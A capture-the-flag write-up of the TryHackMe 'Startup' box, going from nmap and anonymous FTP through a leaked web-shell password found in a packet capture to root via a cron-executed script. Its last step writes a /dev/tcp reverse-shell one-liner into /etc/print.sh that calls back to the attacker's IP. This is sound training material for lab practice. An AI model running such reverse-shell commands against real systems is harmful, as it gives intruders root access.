> For the complete documentation index, see [llms.txt](https://viperone.gitbook.io/pentest-everything/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://viperone.gitbook.io/pentest-everything/writeups/tryhackme/linux/startup.md).

# Startup

## Nmap

```
sudo nmap 10.10.85.9 -p- -sS -sV     

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

Anonymous login is allowed on FTP. We have two files a jpg and a txt document. I downloaded both. I also checked for file upload on the ftp directory within and was able to upload a test document.

![](/files/-MWttRUQb214YaMq_J4A)

**Contents of notice.jpg:**

```
Whoever is leaving these damn Among Us memes in this share.
It IS NOT FUNNY. People downloading documents from our website 
will think we are a joke! Now I dont know who it is, but Maya is 
looking pretty sus.
```

**Important.jpg:**

![](/files/-MWtu3kS725aV9tMkIwh)

```
python3 dirsearch.py -u http://10.10.85.9 -w /usr/share/seclists/Discovery/Web-Content/big.txt -t 60 --full-url 
```

![](/files/-MWtwXQ_8WnvubCR_L66)

![](/files/-MWtwcypeMSlHZPlEiyM)

![](/files/-MWtwOmXoc1iGr-0nqlL)

Looking through the directories in '/' we have the incidents folders and within with have a pcapng file of interest. We can host a Python SimpleHTTPServer on the target machine in this directory.

```
python -m SimpleHTTPServer 8080
```

![](/files/-MWuVAfmRZDx6QAPgU0o)

Then use `wget` on our attacking machine to download the pcapng file.

![](/files/-MWuVPrT0tbcGvkYk5Ln)

Going through Wireshark manually for each packet we find an interesting string on packet #178.

![](/files/-MWuVcqivggfBVjOU7_G)

Right clicking the packet and following the TCP Stream reveals more information and shows a command history log from a web shell. Likely due to previous compromise.

![](/files/-MWuVpJfQ5pa4JyG96Pa)

We cant take the password value and SSH in as the other user on the box who is Lennie.

![](/files/-MWuW1bdIbUWTHQ0nk-W)

We can see from Lennie's home directory a scripts folder. planner.sh is of interest but looks like we are unable to manipulate the file.

![](/files/-MWuYblMC25a78n3sjRJ)

However, the file print.sh which is executed as part of planner.sh is owned by us.

![](/files/-MWuYrHKUW-fTVs9AS4n)

First we need to check if the scripts are executed as part of a timed process. I downloaded pspy64 onto the attacking machine and executed.

After a short while we see the following is executed on regular intervals:

![](/files/-MWuZCetx8O1QcXu45_Q)

As such we can replace the contents of /etc/print.sh with that of a reverse shell and wait for a root shell to spawn.

```
echo  > /etc/print.sh
echo '0<&196;exec 196<>/dev/tcp/10.14.3.108/443; sh <&196 >&196 2>&196' > /etc/print.sh
```

![](/files/-MWuZQIBbYBhjCijTEH-)

As soon receive a shell as root.

![](/files/-MWuZeNfsxYY2_JMtT9O)